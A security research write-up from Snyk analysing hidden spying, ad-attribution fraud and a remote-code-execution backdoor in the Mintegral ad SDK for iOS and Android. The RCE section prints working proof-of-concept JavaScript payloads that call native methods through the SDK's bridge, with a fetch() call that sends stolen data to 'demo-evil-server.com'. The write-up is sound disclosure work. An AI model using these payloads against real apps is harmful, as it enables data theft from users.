Skip to main content

SourMint malicious SDK research write up

Artikel von:
Kirill Efimov
Kirill Efimov
wordpress-sync/feature-research

16. Oktober 2020

0 Min. Lesezeit

Overview

Excessive data collection on iOS [August 2020]

Remote Code Execution (RCE) on iOS [October 2020]

Download tracking in Android [October 2020]

Timeline

Overview

The Mintegral SDK is a popular mobile app advertising SDK available for both the iOS and Android platforms. It is used by thousands of mobile apps with over a billion downloads per month. The SDK is used by application developers to monetize their apps with third-party ads.

The Snyk security research team has made two significant disclosures surrounding the Mintegral SDK. The first disclosure was published in August 2020 and discovered excessive data collection and click hijacking that was performed on the iOS distribution of the SDK, the second disclosure discovered a backdoor found on the iOS version of the SDK that allows remote code execution, along with some new findings on the Android distribution of the SDK.

The aim of this article is to share the technical details of our research and findings beyond what was covered in the blog posts.

This write up is divided into three sections:

  • Excessive Data Collection, including all HTTP request interception and logging in the iOS SDK - originally published on 24th of August 2020 - describes the URL and request tracking capabilities in the iOS distribution of the Mintegral SDK.

  • A backdoor in the iOS distribution of the SDK allows Remote Code Execution - describes the remote code execution capabilities in MintegralAdSDK published on 15th of October 2020.

  • Downloads URL tracking in Android - describes various findings in the Android distribution of the Mintegral SDK.

Excessive data collection on iOS [August 2020]

Overview

This part of the research was conducted on the binary version of Mintegral iOS SDK, since the open source version was not yet available to us in August 2020. The following research was conducted on version 6.3.5.0 of the SDK (for x86 arch) available for download from github.

We have identified that Mintegral iOS SDK versions 5.5.1 and above contain malicious functionality which leads to information leakage. In simple terms the SDK is spying on user link clicking, and network activity within the affected apps. The spying occurs even if the SDK was not enabled by the developer or the ad mediation platform, and the SDK attempts to hide the malicious behavior by identifying proxy, simulators and jail broken devices.

Method swizzling

Mintegral SDK uses a technique called method swizzling to replace implementations of the UIApplication openURL and SKStoreProductViewController loadProductWithParameters methods at runtime, as well it registers a custom NSURLProtocol class.

These hooks are used to spy on application users by sending all the information about HTTP requests, opened URLs and App Store links they click on from within the application.

The HTTP request headers and URLs themself could contain sensitive data, but together with IDFA (Identifier for Advertisers), this data allows Mintegral to perform advertisement attribution fraud.

Advertisement attribution fraud

To monetise their applications, developers often install advertising platforms. Advertising platforms receive revenue from advertisers for each installation happening after a user clicks on their advertisement. It is not uncommon for developers to use multiple advertising platforms in their aps. Therefore, to determine which ad platform should receive given attribution for the installation, each click gets registered to an attribution provider, a mobile measurement platform (MMP).

The figure below shows how the malicious functionality in Mintegral works. In this example, the user clicked on an advertisement from “Another Platform”. But since Mintegral has an ability to intercept all URLs opened by the application it could perform additional requests to an attribution provider pretending that click actually happened by their advertisement. The full process works like this:

  1. The user clicks a link from an in-app advertisement, served by a non-Mintegral ad network, to install a new application from the App Store.

  2. The ad network’s SDK sends the click information to their back-end platform.

  3. Having intercepted the click event via code injected into iOS event handlers through method swizzling, Mintegral logs the click data to their server.

  4. The ad network registers a click notification with the attribution provider.

  5. Mintegral registers a click notification with the attribution provider as well.

When the attribution provider attempts to match the install event to registered click notifications, it finds two that match. Using a last-touch attribution model, the Mintegral click notification is given the attribution and the click notification from the other ad network is rejected.

blog-sour-mint-advertisement-attribution-fraud

Snyk worked with a major attribution provider to confirm that Mintegral is using the click data to generate false click notifications. Through their investigation, the provider was able to show that false click notifications were being generated and resulting in mis-attribution of ad clicks to Mintegral.

Demo application

To demonstrate the attack, we setup a demo application.This will show the malicious openURL hook in action. We use a debugging proxy to intercept all network traffic.

 To initialize the application we use the following code snippet from the Mintegral documentation:

1- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
2    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
3    return YES;
4}

With the SDK initialized, we open example.com from the application using a button click:

1- (IBAction)openURLWithOptions:(id)sender {
2    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
3}

After launching the app, we immediately see a couple of requests from the Mintegral SDK in our proxy:

blog-sour-mint-demo-app

Settings

The response from _https://setting.rayjump.com/setting_is a JSON object with many different options. Following table describes the most interesting fields for our research.

JSON Field

Description

csw

Enable or disable anti-debugging functionality.

cou

Enable or disable openURL method hook.

cdai

URL to send the leaked information (*).

cspn

Enable or disable hook on StoreKit methods.

cud

Enable or disable hook on NSURLProtocol.

cudl

URLs array to track via NSURLProtocol (**).

* In our case it was LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=which is https://n.systemlog.me/log after decoding.

** In our case it was kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N== which is ["itunes.apple.com","apps.apple.com"] after decoding.

Payload decoding

We can see two more requests after clicking the button which opens example.com. The first one is a GET request to http://example.com, as we would expect. The second one is a POST request to https://n.systemlog.me/log.

blog-sour-mint-payload-decoding

The body of the request looks like it is base64 encoded. But in reality, it is not a base64 encoded string. The Mintergral SDK implements their own encoding and decoding logic which can be found in +[MTGBase base64DecodeString:] and +[MTGBase base64CleverDecodeString:]. Note that MTGBase is not exposed in public headers of the SDK and not meant to be accessible for developers.

We use next code snippet to decode the payload:

1Class cls = NSClassFromString(@"MTGBase");
2NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
3NSLog(@"%@", obj);
blog-sour-mint-code-snippet

The payload contains a lot of data including IDFA, IDFV, OS version, user agent and so on. However, it also contains a field called “clever”, which is, again, encoded. We can decode it using base64DecodeString:

1[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

As you can see it contains the URL, stack trace and some additional information like the controller and the method name.

Going deeper

As was mentioned before - the Mintegral SDK is closed source. We are going to look at version 6.3.5.0 for x86 architecture.

The binary is a Macho executable that contains multiple other binaries. The code we’re interested in resides in _CXX_CXX_OperationPKTask.o.

Looking at the class, we see +[_CXX_CXX_OperationPKTask load] which executes automatically when the class is added at runtime. That means if the SDK is installed via CocoaPods, malicious logic is going to be initialized regardless of whether developers actually use the SDK or not.

The load method performs a series of calls which lead us to ___cxxwebk_init_vw. This method checks whether the anti-debug protection flag is enabled and initialises hooks if the flag is set to false or if debugging is disabled.

blog-sour-mint-anti-debug

Initialization of the hooks depends on the settings request mentioned above. In the following table we see the relationships between response JSON fields and MTGSetting class:

JSON Field

MTGSetting Property

Description

csw

cSrtW

Enable or disable anti-debugging functionality.

cou

cOpenURL

Enable or disable openURL method hook.

cspn

cPackageName

Enable or disable hook on StoreKit methods.

Anti-debug logic

blog-sour-mint-debug-log

The __cxx_cxx_op_isInSuperViewFrame function returns true in the following cases:

  • Device platform is a “simulator”.

  • Debugger is attached (implemented in ____mvpmvvm_isDebuggerAttached_block_invoke).

  • One of the files present on the device (indication of jailbreak)

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • Proxy is enabled (using CFNetworkCopySystemProxySettings).

openURL method swizzling

The logic in the following screenshot is implemented in the ___cxxwebkmcouitninapo method which is called from ___cxxwebk_init_vw if the relevant flag is enabled.

blog-sour-mint-openurl-method-swirl

"blog-sour-mint-openurl-method-swirl" - The above screenshot shows the method swizzling implementation. It performs the following calls:

  1. NSSelectorFromString to get a selector for the “openURL:” method.

  2. NSClassFromString to get a class descriptor for UIApplication.

  3. class_getInstanceMethod to get the method descriptor.

  4. method_getImplementation to get actual implementation of the method.

  5. Then they define a code block which calls _____cxxwebkmcouitninapo_block_invoke_2 and then calls the original openURL.

  6. method_setImplementation to replace the original openURL with the code block from the previous step.

Almost the same happens for openURL:options:completionHandler: method except that they check the system version before doing so (the handler was first introduced in iOS 10).

At this point we had seen how the hook was applied. Next we will look at the implementation of the hook itself (_____cxxwebkmcouitninapo_block_invoke_2).

The openURL hook implementation

Effectively, the implementation is located in the ___cxxwebkmcoulsz method. There we can see one more anti-debug check call, then it checks the __mc_notifyInHouse flag and does nothing if this flag is 1.

This is done to ignore all marketing URLs clicked by a user on a Mintegral served ad. We can see relevant logic in +[MTGBase mtgOpenURL:options:completionHandler:] in the screenshot below:

blog-sour-mint-hook-implimentation

Next piece of code shows that they also serialize the backtrace data and leak it in the payload they send to https://n.systemlog.me/log.

We are able to set a breakpoint at the +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] call. You can see the call arguments on the next screenshot:

blog-sour-mint-call-arguments
  • The URL that was opened (http://example.com?foo=bar&x=y).

  • The class where the click happened (ViewController).

  • The method from within where the click happened (openURLWithOptions:).

  • Backtrace info.

Another interesting function is _nsh_id_by_cc, which seems to be responsible for identifying competitor SDKs. Relevant logic shown in the next screenshot:

blog-sour-mint-sdk-logic

Going back to +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:], after the payload has been encoded via +[MTGBase base64EncodeString:] it creates a new code block and uses _dispatch_async to invoke it.

It leads to a series of calls with additional payload transformations and ends up in -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], which makes a post request to collectDomainUrl from MTGSetting which is https://n.systemlog.me/log by default.

A video demonstrating how a private URL can be leaked.

SKStoreProductViewController hook

SKStoreProductViewController is a view controller that provides a page where the user can purchase media from the App Store.

The loadProductWithParameters:completionBlock: method loads a new product screen to display.

Instead of going into technical details of the hook implementation we added next code snippet to the demo application:

1- (IBAction)openSKStoreProductViewController:(id)sender {
2    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
3    [storeViewController setDelegate:self];
4    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
5    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
6

As a result we see a POST request to https://n.systemlog.me/log with the next payload in the “clever” field:

1[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

As we can see the product ID is in the request Q.E.D.

NSURLProtocol hook

NSURLProtocol class allows a developer to redefine how Apple’s URL loading system operates. The Mintegral SDK registers malicious implementation of NSURLProtocol, which can be configured remotely to intercept any outgoing requests made by an application and track URLs and HTTP headers including the Authorization header.

For application developers it means that API tokens, cookies and basic authentication headers could potentially be collected by Mintegral.

To understand how the SDK activates that part of the malicious code we have to look back to ___cxxwebk_init_vw.

blog-sour-mint-nsurlprotocol-hook

The above screenshot shows that the cud flag should be enabled and the cudl array shouldn’t be empty to activate the hook.

The following screenshot shows part of the ___cxxwebkterisiuuxx function called from the above method.

blog-sour-mint-void-cxxweb

The code in the ___cxxwebkterisiuuxx function performs the following actions:

  1. Creates a class inherited from NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Adds an implementation for canInitWithRequest: which is effectively an interceptor (class_addMethod).

  3. Calls +[NSURLProtocol registerClass:] to register the class with the URL loading system.

In our research, we added the following code snippet to verify what data is collected by the malicious code:

1- (IBAction)httpRequestWithURLSession:(id)sender {
2    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
3    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
4    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
5    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
6    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
7    req.HTTPMethod = @"POST";
8    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
9    [task resume];
10}

As a result we see a POST request to https://n.systemlog.me/log with the following payload in the “clever” field:

1[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

In the request, we can see the URL and the authorization header. Although the request body is not included, headers often contain sensitive data. That data could even include personally identifiable information. For example, if an API uses JWT tokens, email or user name could be stored inside the token.

Conclusion

During the research we observed many interesting techniques Mintegral developers use to hide the malicious behaviour of their SDK. As we can see, they activate hooks only on specific applications in specific regions which helped the malicious code stay there for more than one year without any attention.

Talking about timeline, the first version (5.5.1) of the malicious SDK was published on Jul 17, 2019. We found that all subsequent versions housed the same malicious functionality.

Many popular applications were affected by the malicious activities of this SDK. We hope this research shedding light on the situation will drive greater scrutiny and privacy controls for advertiser networks moving forward.

Remote Code Execution (RCE) on iOS [October 2020]

TLDR

We discovered the MTGBaseBridgeWebView class, used everywhere in the SDK to communicate with JavaScript, acts as a backdoor, allowing for the invocation of arbitrary functions from the native application code.

wordpress-sync/SourMint-Blog-2

In the picture above you can see a simplified schema of the remote code execution in action.

Diff analysis

After our first public disclosure, Mintegral announced the release of an open source version of the SDK.

We went ahead and compared the new open source version, to the previous binary version distributed as cocoapod. While we didn’t have the source code for the older version, we could still compare the class names. To do that we extracted the .o files from the binaries and compared the symbols with the .h files of the open source version.

As expected, a previously discovered malicious _CXX_CXX_OperationPKTask component was indeed deleted but something else came up in the diff. The following classes caught our attention:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

We decided to take a closer look at the binaries to understand what those files were used for.

Affected versions

All versions of MintegralAdSDK prior to 6.5.0.0, inclusive. Version 6.6.0.0 published on the 10th of September 2020 doesn’t have the backdoor functionality described in this paper.

The bridge implementation

We started by looking where the MTGRemoteCommandParser class is used and found only one place: -(void)handleNativeObject:parameters: in the MTGBaseBridgeWebView class.

From the implementation we can see that -(void)handleNativeObject:parameters: uses MTGRemoteCommandParser to parse the parameters argument and invokes the -(void)dispatchCommand:feedback: method in the MTGCommandDispatcher class.

At the first glance -(void)handleNativeObject:parameters: is not used, but that's not the case. Let’s see how it can be invoked from JavaScript code.

MTGBaseBridgeWebView implements the -(void)webView:decidePolicyForNavigationAction:decisionHandler: method of the WKNavigationDelegate protocol. This method is called every time the navigation happens in the web view. This means we can trigger this method from within JavaScript by simply calling location.href=something. In the open source version of the SDK we found a regular expression that parses navigation request URLs: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

blog-sour-mint-bridge-implementation

-(void)callFunctionWithName:fucId:param: in the screenshot above simply performs a call to self with fucName selector.

So, to call -(void)handleNativeObject:parameters: of MTGBaseBridgeWebView we need to have the following line of JavaScript code: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Please note that everything we have described above is still valid in the latest version of the SDK, at the time of writing, as well as the open source version of the SDK. The only exception is that -(void)handleNativeObject:parameters: has been deleted from the latest releases.

Remote method invocation

We are not going to describe the full implementation of MTGInvocationBoxing and other classes. Instead we will show how it’s possible to craft malicious JavaScript code to trigger the remote method.

The following proof of concept attacks a "simple note" application, that has a NoteRepository class with two methods +(void)save: and +(NSString*)load.

We inject the malicious JavaScript code by replacing the Mintegral server with our own server implementation. The full source code of this application and server can be found here .

The malicious JavaScript code for this application is as follows:

1window.WindVane = {
2     onSuccess: function (_, data) {
3         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
4     }
5 };
6
7location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Value

Decoded

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

This code will call the +(NSString*)load method of the NoteRepository class and send the result to our demo-evil-server.com/log endpoint.

It uses the same obfuscation techniques as described in the previous section. But the proof of concept already contains JavaScript code to perform encoding and decoding (see banner.html).

Gaining full remote code execution (RCE)

In the example above we have seen how the SDK can be used to invoke any static method of an arbitrary class. In this section we will demonstrate how this can be leveraged to run any native code.

For demonstration purposes we will show how it’s possible to create a UIAlertController with the message "PWNED!".

Let’s look at the following Objective-C code as a reference:

1UIAlertController *alert = [[UIAlertController alloc] init];
2[alert setMessage:@"PWNED!"];
3[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

We need to figure out how to create and keep an instance of the UIAlertController between calls, how to get a shared application instance and how to call presentViewController:animated:completion: with the instance.

Step 1: Save ref to UIAlertController class

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
8        },
9        {'type': 2, 'value': 'a' }
10    ]
11});

The MTGRemoteCommandParser supports two types of object references:

  • static - gets a reference to a class object by name.

  • singleton - performs multiple steps:

    1. Gets a class by name (MTGSetting in our example).

    2. Executes the sharedInstance method on the class. [MTGSetting sharedInstance] in Objective-C.

    3. Uses valueForKey: to get dot-separated properties. In our case this will be [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Note that jsonTitles is just an instance of NSMutableDictionary. In the exploit it is used as temporary storage for our refs. The MTGRemoteCommandParser supports next parameters types:

  • 0 - number.

  • 1 - reference.

  • 2 - string.

  • 4 - nil.

The reference (1) type allows us to pass a reference to an object as an argument of a method. Important to note that the uniqueIdentifier is parsed in exactly the same way as a top-level uniqueIdentifier - hence there is also support for the singleton type.

Step 2: Allocate a new instance of UIAlertController class

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            // singleton_MTGSetting.jsonTitles.a.alloc.init
8            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
9        },
10        {'type': 2, 'value': 'b'}
11    ]
12});

All the magic is happening in singleton_MTGSetting.jsonTitles.a.alloc.init in this case. As we already know singleton_MTGSetting.jsonTitles.a provides us with a reference to the UIAlertController class. But, we need to figure out why [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] works. From the documentation of valueForKey: we know:

The search pattern that valueForKey: uses to find the correct value to return is described in Accessor Search Patterns in Key-Value Coding Programming Guide.

We discovered that valueForKey: can call any method by name if it is a zero-argument method.

So, we can now create a new instance of the UIAlertController class, that will be referenced by property b of jsonTitles dict.

Step 3: Set "PWNED!" message

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
3    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
4    'parameters': [{'type': 2, 'value': 'PWNED!'}]
5});

This step is pretty obvious - we call setMessage: on the UIAlertController instance to set the PWNED! message.

Step 4: Save ref to UIApplication class

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
4    'parameters': [
5        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
6        {'type': 2, 'value': 'x' }
7    ]
8});

This step is similar to step 1. We need to save the UIApplication class reference in jsonTitles.x.

Step 5: Show the alert

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
3    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
4    // presentViewController:animated:completion:
5    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
6    'parameters': [
7        {
8            'type': 1,
9            // singleton_MTGSetting.jsonTitles.b
10            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
11        },
12        {'type': 0, 'value': 1},
13        {'type': 4} // nil
14    ]
15});

This step looks complicated, but it just utilizes various techniques from the previous steps. In the Objective-c code it will be as follows:

1[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
2    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
3    animated: 1
4    completion: nil
5];

At this point we have demonstrated how an alert can be shown with a Remote Code Execution. You can find full payload here. To call the steps one-by-one we created an array of actions and executed each action in the window.WindVane.onSuccess callback (in turn, after a previous action was completed).

A video demonstrating how clipboard content can be leaked by delivering the exploit via malicious ad.

Source of the JavaScript exploit

We’ve already seen how the Mintegral SDK allows native remote code execution via JavaScript code. However, that JavaScript code is fully owned and controlled by Mintegral. But, interestingly, it’s possible to achieve the same via interactive ADs created by the advertisers themselves. The ads are JavaScript-based web pages.

Theoretically, an advertiser can accurately target a specific group of users or specific set of devices by delivering an malicious ad containing the JavaScript exploit.

Conclusion

We can only speculate as to why Mintegral included the capability to invoke native methods remotely in their SDK, but from the way the classes were named, such as MTGCommandDispatcher and MTGRemoteCommand, we believe this was intentional. Additionally, Mintegral removed the code immediately after our publication, despite us not being aware of it at the time.

Download tracking in Android [October 2020]

Overview

In the previous two sections of this research article we shared how the Snyk security team discovered malicious behavior in the Mintegral SDK that can be exploited on iOS devices leading to ad fraud, data leakage and remote code execution (RCE). We wanted to perform more research on the Android distribution of the SDK, which we’ll cover in this section. In summary, here are our key findings:

  1. Download uri tracking from Google, affecting both browser and app downloads, including regular file downloads, email attachments and Google Docs links.

  2. Tracking all APK downloads, both organic or not.

This data is being sent back to Mintegral’s servers.

Observed behavior

Upon downloading a Google Docs link, we noticed the following requests being sent from the app to https://n.systemlog.me:

blog-sour-mind-observed-behavior

This is the same endpoint that was used in the iOS SDK to report data back to the Mintegral server. The payload is encoded, but we can use the decode logic that is in the SDK binary, to get the following:

1p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
2app_id=118690
3sign=9329a7706dd43d6ed64d022ad0e7b13b
4platform=1
5os_version=5.1.1
6package_name=com.mintegral.sdk.demo
7app_version_name=1.0
8app_version_code=1
9orientation=1
10model=Android+SDK+built+for+x86
11brand=Android
12gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
13mnc=260
14mcc=310
15network_type=13
16language=en
17timezone=GMT%2B02%3A00
18useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
19sdk_version=MAL_10.5.0
20gp_version=1.8
21screen_size=1080x2160
22has_wx=false
23cache1=747
24cache2=722
25power_rate=100
26charging=1
27http_req=2
28dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
29unknown_source=1
30sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
31is_clever=2

We have two additional encoded parameters, clever and dvi. After decoding them as well, we noticed something interesting:

1{
2    "fl": "1246",
3    "kw": "secret.pdf",
4    "p": "",
5    "ul": [
6        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
7        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
8    ],
9    "v": ""
10}
11
12{
13    "android_id": "556a5ab905bbdfd3",
14    "cid": "0",
15    "ct": "[x86]",
16    "dmf": 760,
17    "dmt": "1588"
18}

As we can see, the URL of the google sheet we downloaded from the Google Drive app is sent to the backend in the ul file and the downloaded filename in the kw field while dvi holds some data on the device.

Potential uses

In the iOS scenario, fraudulent duplicate clicks were sent from the client’s device onto Mintegral’s servers and then to the attribution provider (MMP). In this case, the downloaded or installed apks are reported to the servers and can potentially be used to generate server-side clicks. The following diagram demonstrates the data flow:

blog-sour-mint-data-flow

Alphab module

The behavior, mentioned above, is located in the alphab module which was described by Mintegral as an “Optimization package”:

wordpress-sync/4-1

Following our publication, the module was removed from the Mintegral site and seems to no longer be part of the distributed SDK. We’ve decompiled the SDK and located the code responsible for this behavior.

AlphaCommonConst class

1public final class AlphaCommonConst {
2
3    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");
4
5    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");
6
7    /* renamed from: c */    public static String f2c = "decode error";
8
9    /* renamed from: d */    public static boolean is_net_debug = false;
10
11    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {
12
13        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");
14
15        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
16    }

This class contains many hard coded constant definitions. Some strings are obfuscated with their own custom Base64 based encoding scheme located in the AlphabBase64Util class, similar to what we observed in the iOS distribution.

After decoding we get the following strings:

1aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
2aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
37sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
4aELKr0xI7UL67iN6HinI                               = android.net.Uri
5aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
6aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
7r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
8aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
9aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
10aEJKNEbPQEx6                                       = addAction
11r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

These are used in the initialization steps we’ll discuss next.

Alphab receiver

In the init() method of the AlphabReceiver class, the BroadcastReceiver is being initialized with some of the previously obfuscated strings:

1try {
2      AlphabReceiver alphabReceiver = new AlphabReceiver();
3      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
